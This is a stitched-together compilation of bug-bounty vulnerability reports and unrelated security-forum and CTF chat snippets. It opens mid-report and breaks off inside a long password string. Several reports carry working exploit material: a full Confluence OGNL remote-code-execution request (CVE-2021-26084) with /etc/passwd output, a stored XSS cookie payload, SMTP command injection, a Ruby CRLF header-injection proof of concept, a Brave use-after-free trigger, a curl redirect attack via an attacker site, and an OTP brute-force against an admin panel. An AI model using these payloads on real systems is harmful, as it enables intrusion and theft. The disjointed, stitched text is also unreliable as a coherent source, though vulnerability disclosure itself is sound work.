ORGANIZER;CN=Normal User:mailto:test(\nEHLO a\n)@gmail.com
END:VEVENT
BEGIN:VTIMEZONE
TZID:Asia/Singapore
BEGIN:STANDARD
TZOFFSETFROM:+0800
TZOFFSETTO:+0800
TZNAME:+08
DTSTART:19700101T000000
END:STANDARD
END:VTIMEZONE
END:VCALENDAR
```

Which for Gmail would return:

```
{"status":"error","message":"Could not send mail: Expected response code 354 but got code \"250\", with message \"250-smtp.gmail.com at your service, [116.89.6.224]\r\n250-SIZE 35882577\r\n250-8BITMIME\r\n250-AUTH LOGIN PLAIN XOAUTH2 PLAIN-CLIENTTOKEN OAUTHBEARER XOAUTH\r\n250-ENHANCEDSTATUSCODES\r\n250-PIPELINING\r\n250-CHUNKING\r\n250 SMTPUTF8\r\n\"","data":{"type":"OCA\\Calendar\\Exception\\ServiceException","message":"Could not send mail: Expected response code 354 but got code \"250\", with message \"250-smtp.gmail.com at your service, [116.89.6.224]\r\n250-SIZE 35882577\r\n250-8BITMIME\r\n250-AUTH LOGIN PLAIN XOAUTH2 PLAIN-CLIENTTOKEN OAUTHBEARER XOAUTH\r\n250-ENHANCEDSTATUSCODES\r\n250-PIPELINING\r\n250-CHUNKING\r\n250 SMTPUTF8\r\n\"","code":250,
```

Note that for this report, the commands are blind; but can be used remotely if changing the sender/recipient. I added additional logging to `/var/www/nextcloud/3rdparty/swiftmailer/swiftmailer/lib/classes/Swift/Transport/AbstractSmtpTransport.php` to confirm that the commands were injected.

## Steps To Reproduce:

Note: Email sending should be set up in the admin settings.

Setup `/var/www/nextcloud/3rdparty/swiftmailer/swiftmailer/lib/classes/Swift/Transport/AbstractSmtpTransport.php` to log SMTP commands. I inserted the following at line 343: `file_put_contents('/tmp/test.log',$response,FILE_APPEND);` (under `$response = $this->getFullResponse($seq);


[Privilege Escalation] Getting a free delivery by singing up from "admin_@glovoapp.com"

Hello
Getting a free delivery for food by just signing up from "admin_@glovoapp.com" and you also see the  " FREE delivery Glovo Team
∞" in profile  section.
To cross check, i made a another account by using regular email-id "toweli5706@6ekk.com " and placed a order with same location but i didn't got any free delivery option.

Steps To Reproduce:
1) Signup as "admin_@glovoapp.com"
2) Select any city
3) Place a order.

Attached a screenshots for further reference.

## Impact

Anybody can signup by using a @glovoapp.com, so they can easily get free delivery for food and extra privilege.


[Information Disclosure] Deliviry Club Courier app (v. 3.9.25.0); Disclosure phone number of client.

Здравствуйте. Я нашёл баг в приложениидля курьеров, позволяющий получить реальный номер телефона клиента.
Обычно, когда курьеру необходимо позвонить клиенту для уточнения какого-либо  вопроса, курьер нажимает "Позвонить клиенту", и после этого совершается звонок не на номер клиента, а через  Delivery  Club, тем самым не раскрывая номер клиента курьеру.

Как  воспроизвести:
1) Во время активного заказа включить режим полёта
2) Где "Позвонить клиенту" нажать на значок "?" и увидеть номер клиента
(так же можно) просто в режиме полёта нажать "Позвонить клиенту". Однако номер показан не будет, а посмотреть его можно будет только в истории звонков.

Прикрепляю видео (PoC.mp4), в котором демонстрируется возможность получить номер клиента:

## Impact

Information disclosure.


[Improper Access Control - Generic] Possible to make restricted files public on Phabricator via Diffusion

Files on Phabricator are always viewable to a user if they are attached to an object that they can view. It seems Phabricator does check if you can view a file before allowing you to a attach it. If you don't have access to the file, it will just look like this {F99999999999} in plaintext. It seems Phabricator does not do this check when creating commits in Differential repositories. This means you make a restricted file public simply by including the syntax to attach the file in the commit message which will then by synced to Phabricator, causing the file to be made public regardless of whether you had access in the first place. It is possible to find a restricted file simply by enumeration.

File "Can View" is set to Administrator:
F1718695
However the file is in the commit and viewable:
F1718696
User is not an Administrator:
F1718697

## Impact

Gain access to restricted file objects.


Nmap-cheat-sheet

A very nice help using nmap. StationX – 1 May 20 Nmap Cheat Sheet Example IDS Evasion command


[Use After Free] UAF on JSEthereumProvider

There is a UAF (Use After Free) vulnerability in the renderer implementation of the Ethereum wallet.

When the Ethereum wallet is connected, every V8 render gets this piece of code installed, creating a new object ethereum accessible from V8. You can find the code here: https://github.com/brave/brave-core/blob/45c6649a124dd8d0ffb19ca6f7047bebb6e6da2c/components/brave_wallet/renderer/js_ethereum_provider.cc#L163-L164

I will highlight some parts of the JSEthereumProvider::Install function that show the bug:

```cpp
// 1. Create a new handle to JSEthereumProvider and convert it to a v8::Object
gin::Handle<JSEthereumProvider> provider =
    gin::CreateHandle(isolate, new JSEthereumProvider(render_frame));
if (provider.IsEmpty()) {
  return;
}
v8::Local<v8::Value> provider_value = provider.ToV8();
v8::Local<v8::Object> provider_object =
    provider_value->ToObject(context).ToLocalChecked();

// 2. Create a v8::Proxy for the provider
if (!v8::Proxy::New(context, provider_object, ethereum_proxy_handler_obj)
         .ToLocal(&ethereum_proxy)) {
  // Error handling
}

// 3. Expose it through window.ethereum
global
    ->Set(context, gin::StringToSymbol(isolate, kEthereum), ethereum_proxy)
    .Check();

// 4. Create a new v8::Object and make it accessible through ethereum._metamask
v8::Local<v8::Object> metamask_obj = v8::Object::New(isolate);
provider_object
    ->Set(context, gin::StringToSymbol(isolate, kMetaMask), metamask_obj)
    .Check();

// 5. [BUG] Set a new property called `IsUnlocked`, creating a new callback object bound to `base::Unretained(provider.get())`, making the wrong assumption that ethereum._metamask can never outlive ethereum
provider_object
    ->Set(context, gin::StringToSymbol(isolate, kIsUnlocked),
          gin::CreateFunctionTemplate(
              isolate, base::BindRepeating(&JSEthereumProvider::IsUnlocked,
                                           base::Unretained(provider.get())))
              ->GetFunction(context)
              .ToLocalChecked())
    .Check();
```
The bug can be triggered through JavaScript with the following steps:

1. Get a reference to ethereum._metamask.
2. Delete the ethereum object, which deletes provider.get().
3. Call isUnlocked(), which will point to the deleted provider.get() pointer.

Here is a PoC (Proof of Concept) that can crash the renderer process:
```
function triggerGC() {
  for (let i = 0; i < 100; i++) {
    let a = new Array(1000000);
  }
}

let uafObj = ethereum._metamask;
delete ethereum;
triggerGC();
console.log(await uafObj.isUnlocked());
```

Will try to follow up with a full exploit to show code execution on the renderer process.

## Impact

Get code execution on the renderer process.


[Business Logic Errors] Certificate authentication re-use on redirect

## Summary:
Curl will reuse existing certificate for further TLS requests when following redirects. This is similar to `CVE 2022-27774` but with narrower impact, as the secret (private key) is not leaked.

## Steps To Reproduce:
  1. Configure a site (`targetsite.tld`) to require client certificates for authentication
  2. Have `client.crt` and `client.key` that can be used to access this site
  3.  Create an attacker controller site `https://evilsite.tld/something` that redirects to `https://targetsite.tld/secretfile`
  4. `curl -L --cert client.crt --key client.key https://evilsite.tld/something`
  5.  The redirect is followed and the secretfile content fetched

In effect the attacker can choose which content is accessed with the client certificate. This proof of concept is of course rather silly as one-liner curl command, but it still demonstrates the  inability of libcurl to restrict where key/cert are used. This scenario of course requires that the application in question can be passed attacker controlled URLs and that redirects are followed. If the attacker also wishes to obtain the secretfile response the application in question should be returning the file contents to the request to the attacker (lets assume attacker can pass URLs the app and gets the fetched content back as result).

Configuring client key/cert for arbitrary requests is unwise. However, since the common understanding is that the client certificate public key is "useless" to the attacker without the corresponding private key, it might happen that this (arguably silly) use pattern might exists. It is "harmless" after all...

 I believe that the key/cert should not used when following a redirect to a different protocol/host/port. This wouldn't prevent the minor leak of the `client.crt` to the attacker, but at least the attacker wouldn't get to choose which resources to access.

This is CWE-522: Insufficiently Protected Credentials

## Impact

The attacker can control which resource is accessed with the key/cert, and potentially gain unauthorised access to confidential information.


[CRLF Injection] 'net/http': HTTP Header Injection in the set_content_type method

The set\_content\_type's parameter is not filtered to prevent the injection from altering the entire request.

The vulnerable code:
```ruby
  def set_content_type(type, params = {})
    @header['content-type'] = [type + params.map{|k,v|"; #{k}=#{v}"}.join('')]
  end
```

# PoC

1.
```ruby
require 'net/http'

uri = URI('http://127.0.0.1:8080')
req = Net::HTTP::Post.new(uri)
req.set_content_type('text/html', "charset" => "iso-8859-1\nHeader:Inject")

resp = Net::HTTP.start(uri.hostname, uri.port) do |http|
  http.request(req)
end
```

2.
```
$ nc -lvp 8080
Listening on 0.0.0.0 8080
Connection received on localhost 57620
POST / HTTP/1.1
Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3
Accept: */*
User-Agent: Ruby
Host: 127.0.0.1:8080
Content-Type: text/html; charset=iso-8859-1
Header:Inject # <<<<<<<<
Content-Length: 0
```

I set the same severity as [CVE-2020-26116](https://nvd.nist.gov/vuln/detail/CVE-2020-26116) has.

## Impact

In web applications a CRLF injection can have severe impacts, depending on what the application does with single items. Impacts can range from information disclosure to code execution, a direct impact web application security vulnerability.


[Information Disclosure] Able to see Bonus amount given to a report  even if the bounty and Bonus is not visible to public or mentioned in {Report-Id}.json

**Summary:**
Hey team,
while looking at your Disclosed reports I noticed that on report #2082680 you awarded the user with a Bonus and no bounty at all it was hidden as well because the Activity shows that "HackerOne rewarded someone with a bounty. " which also included the **Bonus**, upon checking the #2082680.json  I did not found the "bonus_amount" parameter at all or any number representing ████ which was the bonus given to the user thus it was supposed to be a Confidential but it's now exposed to the public.

As a PoC look at this report showing the Bonus amount in JSON
A bonus of ███████ was given to the user of this report as well  https://hackerone.com/reports/1952124.json but upon checking the JSON format of this you can clearly see it's mentioned in the "bonus_amount"  parameter.

**Description:**

### Steps To Reproduce

1. Go to https://hackerone.com/reports/2082680 and see the right column of the screen and see the activity column's Bounty amount
 ████

## Impact

Confidential  Information Disclosure


I don’t know why but it’s not advisable to use “${ #var }”, using other methods to obtain the length of $var it worked perfectly!!!


[Unknown] Unauthorized Ticket can be created by an Attacker in user's Helpdesk account

Hey Team!

I was able to create a ticket in any user's Support.hackerone.com account without authorization, and can write whatever I wanted in that ticket. Normally, in order to get help, users are required to log in and create a ticket. However, due to this flaw, I could create tickets on behalf of any user without their permission or knowledge.

### Steps To Reproduce

1. Go to https://emkei.cz/ and enter victim's email as the sender, and support@hackerone.com as the receiver. Fill out other necessary details.

2. Solve the captcha and send the email.

3. Check your helpdesk account at support.hackerone.com and you will see new ticket.

### Optional: Supporting Material/References (Screenshots)

https://medium.com/@khaled.hassan/hacking-thousands-of-companies-through-their-helpdesk-8f180a8595ef

POC :
████

## Impact

Unauthorized user can create  tickets in any user's help desk account!


[Business Logic Errors] the domain is truck-admin.eu-east-1.indriverapp.com and Enter the management system of the blasting mobile phone verification code

## Summary:
Find the mobile phone number of the administrator through the WHOIS information, and then send the verification code. Assuming that the verification code expires for 30 seconds or 1 minute, we can only explode the correct verification code in a short time to log in to the management system, so I choose to blast The verification code between 6000 and 7000, and sends the verification code every time it blasts, knows that the correct verification code is found, and I only exploded 8 times to find the correct verification code

## Steps To Reproduce:
  1. Find the management address through the directory scanning:https://truck-admin.eu-east-1.indriverapp.com/admin/auth
  2. Find the administrator's mobile phone number through WHOIS information:████████
  3. Send the verification code through the mobile phone number, you will receive a four -digit verification code
  4. Enter the four-digit verification code to log in and use Burpsuite to grab the package, blast the verification code and set the range of the verification code to 6000-7000, and the thread is set to 20 to ensure that the correct verification code can be blasting within 30 seconds within 30 seconds
██████████

request:
```
POST /proxy/truck/api/admin/login HTTP/2
Host: truck-admin.eu-east-1.indriverapp.com
Cookie: _gcl_au=1.1.354145541.1684380001; _ga=GA1.1.1412822094.1684380001; _ga_YBFM6LW448=GS1.1.1684382089.2.1.1684382341.58.0.0
Content-Length: 37
Sec-Ch-Ua: "Chromium";v="21", " Not;A Brand";v="99"
Accept: application/json, text/plain, */*
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://truck-admin.eu-east-1.indriverapp.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://truck-admin.eu-east-1.indriverapp.com/admin/auth
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

{"phone":"██████","code":"1234"}
 ```
Burp  Settings:
█████████████
  5. Repeat 3,4 steps until the correct verification code is exploded
██████
6. Add the cookie obtained in the fifth step to the request header and access https://truck-admin.eu-east-1.indriverapp.com/admin/order,and then enter the management system
██████████
█████████

## Supporting Material/References:

  * [attachment / reference]

████
████
███

## Impact

Can get detailed information from all drivers and customers of the entire platform, including the driver's model license plate number, and customer taxi order records, taxi records include license plates/taxi position/reaching location, etc.


SharpHound.ps1 doesn't work

I’m trying Reel ( Hack The Box ). When I use SharpHound.ps1, the following error occurs everytime: nico@REEL C:\Users\nico>powershell -Exec Bypass Windows PowerShell Copyright (C) 2014 Microsoft Corporation. All rights reserved. PS C:\Users\nico> . .\SharpHound.ps1 PS C:\Users\nico> Invoke-BloodHound -CollectionMethod All Exception calling "Invoke" with "2" argument(s): "Method not found: '!!0[] System.Array.Empty()'." At C:\Users\nico\SharpHound.ps1:642 char:88 + ... nvoke($Null, @(,$passed)) + ~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationExcep tion + FullyQualifiedErrorId : MissingMethodException This is the latest SharpHound.ps1. (I can’t use SharpHound.exe now)


[Improper Access Control - Generic] Unauthorized access

Hello Gents,
I would like to report an issue where attackers are able to:
1. List `about.gitlab.com` GS bucket.
2. Access all resales through https://about.gitlab.com/all-releases.xml & https://about.gitlab.com/security-releases.xml, which contains undisclosed HackerOne reports.
> For Example:
```
<p>This vulnerability has been discovered internally by the GitLab team.</p> <h2 id="pipeline-subscriptions-trigger-new-pipelines-with-the-wrong-author">Pipeline subscriptions trigger new pipelines with the wrong author</h2> <!-- https://gitlab.com/gitlab-org/security/gitlab/-/issues/642 -->
 <p>A critical issue has been discovered in GitLab affecting all versions starting from 14.0 prior to 14.10.5, 15.0 prior to 15.0.4, and 15.1 prior to 15.1.1 where an authenticated user authorized to import projects could import a maliciously crafted project leading to remote code execution. This is a critical severity issue (<code>CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H</code>, 9.9). It is now mitigated in the latest release and is assigned <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2185">CVE-2022-2185</a>.</p> <p>Thanks <a href="https://hackerone.com/vakzz">vakzz</a>
```
3. Access https://about.gitlab.com/mindmap.txt which contains this internal Google Documents link:
https://docs.google.com/document/d/e/2PACX-1vSNzTLkZMqILVYoey4dnSLYdk0Jmsd8pFu7ygLJ57RQ1c8XlZDbzaG45rQMOrDbHRWCQa5LN7DZid8s/pub
> I didn't dig in so much , but I was able to edit a document like this one:
> [GitLab_MessageGuide](https://docs.google.com/document/d/14APaSKwYpwutujISnkbLOnjdQ5RG-hIQXulasZT7h6s/edit)
4. list All Gitlab Staff full names through https://about.gitlab.com/roulette.json
5. All JavaScript files using `gsutil ls gs://about.gitlab.com/javascripts/`, there are many other files too.
> Also please take a look at this json file: https://storage.googleapis.com/about.gitlab.com/_nuxt/content/db-0881eaf3.json, it contains phone numbers, tokens, and more than 1000 URLs could be useful for attackers.

### Steps to reproduce:
+ Please visit https://storage.googleapis.com/about.gitlab.com, or you can install [gsutil](https://cloud.google.com/storage/docs/gsutil_install). then list the bucket using the following command:
+ `gsutil ls gs://about.gitlab.com/`.

### Proof of concept
+ {F1867120}
+ {F1867121}
+ {F1867122}
+ {F1867125}

## Impact

Unauthorized access & Information disclosure.

Thanks and have a nice day!


[Incorrect Authorization] oauth misconfigration lead to account takeover

## Summary:
misconfigration in aouth 2.0 login with google account in "accounts.reddit.com"

## Impact:
misconfigration leads to account takeover

## Steps To Reproduce:

 1.  go to "https://accounts.reddit.com/".
 2. and login with your google account.
 3. after login, logout from your account.
 4. after logout go to "https://accounts.reddit.com/account/register/" and register with email you signed in before in google account oauth.
 5. as like you see it's created a new account

  * [attachment / reference]

## Impact

attacker can login with any user's email thats lead to account takeover


Thank you very much, you have helped me to find the flag. I have followed the following steps: 1). I have used the code provided by @XSSDoctor and generated the binary. 2). I have opened the binary with “gdb” and made a breakpoint after the “xor”. The idea is to get the value of the “rdx” register in each of the 14 iterations. The ShellCode is the concatenation of the 14 iterations. 3). You run the ShellCode. I ended up very tired after this


[Unknown] Arbitrary file read in Rocket.Chat-Desktop

**Description:** Rocket.Chat-Desktop is vulnerable to arbitrary file read.

## Releases Affected:

  * Rocket.Chat-Desktop-Client: < v3.0.0-develop

## Steps To Reproduce (by setting up a malicious server):

1. Go to `Administration » Layout » Custom Scripts » Custom Script for Logged In Users`
1. Insert the following script `window.open('file://c:/windows/system32/drivers/etc/hosts').eval('alert(document.body.innerText);');`
1. Click `Save changes`
1. Open Rocket.Chat-Desktop and connect to the server
1. A new window and an alert containing the contents of `c:/windows/system32/drivers/etc/hosts` will pop up.

## Suggested mitigation

  * Set `popups` to `false` [[`src » component » electron » WebViewComponent.js (line 16)`](https://github.com/RocketChat/Rocket.Chat.Electron/blob/develop/src/components/electron/WebViewComponent.js)].

## Impact

Arbitrary file read in Rocket.Chat-Desktop


[Unknown] Yet another SSRF query for Javascript

This bug was reported directly to GitHub Security Lab.


[Improper Authorization] [h1-2102] [PLUS] User with Store Management Permission can Make enforceSamlOrganizationDomains call - that should be limited to User Management Only

## Summary:
[PLUS] User with Store Management Permission can Make enforceSamlOrganizationDomains call - that should be limited to User Management Only

## Description:
User with Store management permission as shown in below screenshot
{F1168574}

Should not have the ability to enforce SAML organization domains, because this should be limited to user with `User Management` permission only.

## Steps To Reproduce:
- As an org plus admin, visit https://shopify.plus/:org_plus_id/users/invite and invite an user to have store management permission - (The purpose is to enable the low-privileged user to have access to https://shopify.plus/:plus_org_id/stores/api
- As an org plus admin, create a Org domain, by visiting `https://shopify.plus/:id/users/security` and `Add Domain`
- Now login as the low-privileged user we created in the first step
- Make this call to figure out the domain id of your organization as a low privileged user

```
POST /34946971/stores/api HTTP/1.1
Host: shopify.plus
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
...

{"query":"query{organization{domains{id}}}"}
```

- Click around until you see the call to `POST https://shopify.plus/34946971/stores/api`, send that to repeater and make the GraphQL call below
- Make this GraphQL call to enforce SAML integration with that domain, with `REPLACE_ME` replaced by the user id you got from above steps

```
POST https://shopify.plus/34946971/stores/api
...
...

{"query":"mutation  {\n  enforceSamlOrganizationDomains(domainIds:[\"REPLACE_ME\"]) {\n   userErrors{message} }}\n"}
```

## Impact

This action should not be carried out by users with `Store management` permission, although the impact is limited, this should still be restricted.


Stuck for a few days at Elasticity. I’m pretty sure I’m aiming at the correct ports locally but it keeps timing out. Please DM me if you have a pointer or two


[OS Command Injection] RCE on ███████ [CVE-2021-26084]

In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if ‘Allow people to sign up to create their account’ is enabled. To check whether this is enabled go to COG > User Management > User Signup Options. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0

## Impact

-   An unauthenticated, 3rd-party attacker or adversary can execute remote code

## System Host(s)
█████

## Affected Product(s) and Version(s)
CVE-2021-26084

## CVE Numbers

## Steps to Reproduce
POST
(command cat /etc/passwd)
```
POST /pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1
Host: ███
Content-Type: application/x-www-form-urlencoded
Content-Length: 915

queryString=aaaaaaaa\u0027%2b{Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).\u0065val(\u0027var+isWin+%3d+java.lang.System.getProperty(\u0022os.name\u0022).toLowerCase().contains(\u0022win\u0022)%3b+var+cmd+%3d+new+java.lang.String(\u0022cat /etc/passwd\u0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(\u0022cmd.exe\u0022,+\u0022/c\u0022,+cmd)%3b+}+else{p.command(\u0022bash\u0022,+\u0022-c\u0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+\u0022\u0022%3b+var+output+%3d+\u0022\u0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}\u0027)}%2b\u0027

```

You will see the output of the ifconfig command

OUTPUT
```
      type="hidden"
          name="queryString"            value="aaaaaaaa[root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash
]"             />
        <input
```

## Suggested Mitigation/Remediation Actions


The issue for you and for most from what I see is the dots in the counter. You’re using {1(3dots)28} while you should be using {1(2dots)28}. Made the same mistake.


[Information Disclosure] springboot actuator is leaking internals at ██████████

### Proof of Concept

If you go to https://█████████/actuator you'll get a complete overview of all the endpoints that are accessable
(Suggestion: Use a Firefox Browser if possible, its json representation is well formed and the links are clickable )

██████████

## Impact

Information Disclosure

* https://████/actuator/beans
Displays a complete list of all the Spring beans in your application.

* https://██████████/actuator/caches
Exposes available caches. For ███ it is empty

* https://███████/actuator/health
The actual status of the actuator is displayed
```
status	"UP"
components
diskSpace
status	"UP"
details
total	1167859712
free	1167810560
threshold	10485760
exists	true
ping
status	"UP"
```

* https://███/actuator/info
version and  built time are displayed
```
build
version	"1.2.1-SNAPSHOT"
artifact	"unregister-file-endpoint"
name	"UnregisterFileEndpoint"
group	"com.hexusfed"
time	"2022-06-30T14:44:23.879Z"
```

* https://██████████/actuator/conditions
Shows the conditions that were evaluated on configuration and auto-configuration classes and the reasons why they did or did not match.

* https://█████/actuator/configprops
Displays a collated list of all configuration properties.

* https://█████/actuator/env
contains internal paths, ports, version numbers etc.

* https://███/actuator/loggers
configuration of loggers in the application

* https://███/actuator/heapdump *** (CRITICAL)***
Downloads a complete  heap dump file (about 30 MBs). This file has a  PHD-format and can be analyzed with a heapdump analyzer tool.

* https://█████████/actuator/threaddump
Performs a thread dump.

* https://████████/actuator/metrics
internal metrics

* https://█████/actuator/scheduledtasks
For this system there are no scheduled tasks running

* https://█████/actuator/mappings
Displays a collated list of all request paths (mapped to the coresponding internal software module).

## System Host(s)
████

## Affected Product(s) and Version(s)
spring-boot.actuator.v3

## CVE Numbers

## Steps to Reproduce
If you use the link https://███████/actuator, you'll see all the leaked endpoints in a json file

## Suggested Mitigation/Remediation Actions
By default, all endpoints except for shutdown are enabled. To configure the enablement of an endpoint, use its management.endpoint.<id>.enabled property.

Normally /actuator/health and /actuator/info are enabled the rest is disabled .


thanks g i was stuck there a min or 2 but i don’t get why i must subtracted 1 for the first number


What should I do with links in comments on my site?

I havent launched the article commenting system on my site yet, it's in the process of debugging, but suddenly I understood that comments on my site will most likely be used for not only sharing users' opinion, but for posting links as well. Both inbound links and outbound. Some useful, and some will definitely be spammy ones.Pre-moderation is looks a bit outdated to me, as now everyone wants to see their message posted immediately. But I also dont want to turn my site into a link farm.How do you solve the problem of links in comments?Maybe disable links altogether? Or replace them with asterisks ***? Or turn then into text?


I’m still stuck. I’m not able to make out all the hints that people gave in here. I would really appreciate if anyone could give me somemore hints or can provide me any resources so that I could understand this topic well


Hi i`ve been reading this topic in order to answer 3 questions: How many files exist on the system that have the “.bak” file extension? How many files exist on the system that have the “.log” file extension? How many total packages are installed on the target system? So i use this commands: find / -name “*.bak” 2>/dev/null | wc -l find / -name “*.log” 2>/dev/null | wc -l apt list --installed | wc -l The results of the output are: 1 136 3602 The 3 results are incorrect answers… i dont understand what is wrong, can sombody help me? I know the answer for question number 1 is 4 by reading this topic but i can only obtein 1 as an output.


Could someone please give me a nudge on bypass authentication? I’ve tried everything I know, and all sorts of tools… Edit: NVM I got it


[Cross-site Scripting (XSS) - Stored] Stored XSS at https://█████

**Description:**
In registeration page ( https://████ ) , first name and last name field are vulnerable to Stored Cross Site Scripting.

## Proof of concept
For the fastly test, use this credentials to login (my test account)
> email: █████████
password: ██████

After login , alert document.cookie will triggered

## Impact

Stored Cross Site Scripting which attacker can execute malicious javascript payload.

## System Host(s)
████████

## Affected Product(s) and Version(s)

## CVE Numbers

## Steps to Reproduce
1. Go to registration page ( https://████ ), insert `<svg/onload=confirm(document.cookie)>` payload in firstname and lastname fields and create account.
2. Verified your account.
3. Go to login page and login your account.
4. And XSS will triggered ( XSS also triggered in `My Profile` page) .

## Suggested Mitigation/Remediation Actions
1. Filter input on arrival.
2. Encode data on output.
3. Content Security Policy


This was a tough one. I found it helpful to do like they were saying and: Manually explore every button in the web app (while logging everything in BurpSuite or OWASP ZAP) Make note of any new HTTP Parameters as you’re going as the application acts differently depending on what parameters are supplied. Keep an eye out for the Visual error that they were talking about “Malicious request” as this is a good sign that you might be hitting input validation Ask yourself why something may need input validation? Developers aren’t going to put input validation in places where it isn’t needed.


[Incorrect Authorization] Incorrect Authorization leads to see other users Documents Uploaded

## Summary:
Hi team,
when user upload document, other user can see this docs only with link

## Steps To Reproduce:
1. loign to portal with user A : https://qcn.mytva.com
2. go to admin section and upload a document.
{F2782891}

3. click on link to see uploaded image. [like](https://qcn.mytva.com/Admin/FileHandler?ENC=RUFBQUFITmtabk00TjJGa1ptRTVNV0Z6TW5JMHV0S2hNTHNYR1J1SDNMMFBqeElLajlTNGNjTHcxVUhqcHhuL1R1cUxyVkxoS0RSRUFqUjRDTlFEd2E4S1diUkNYMlhGNFdSTDRrdE1yUUgvNkVhYWtUR251RjVYc1V6RDdwZkZXdTlCV0tZY2JmWGlVSkNjcHEyK0VvQU1Fc2R2RklDQW1MM25kNEZMTStxMTlhRnBrdStuOGs4N3lTU1Q1R2FsQ1ZrTHhnPT0)

{F2782892}

4. login to portal with user B
5. go to above url, we can see and download user A document.

{F2782896}

## Impact

any login user can see other user documents


[Uncontrolled Resource Consumption] No password length limit when creating a user as an administrator

Hi, when I try to set the password while creating an account I noticed that you haven't kept any password limit.

You need to decrease password length: There are two reasons for limiting the password size. For one, hashing a large amount of data can cause significant resource consumption on behalf of the server and would be an easy target for a Denial Of Service attack.

Normally all sites have a password minimum to maximum lengths like 72 characters limit or 48 limits to prevent Denial Of Service attack. in my SQL but in the website registration page, there are no limitations. Let me know if you need any more details.

This is typically not DoS, but a vulnerability that may lead to a DoS attack.
The password I tried is:

Aa@T1234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567


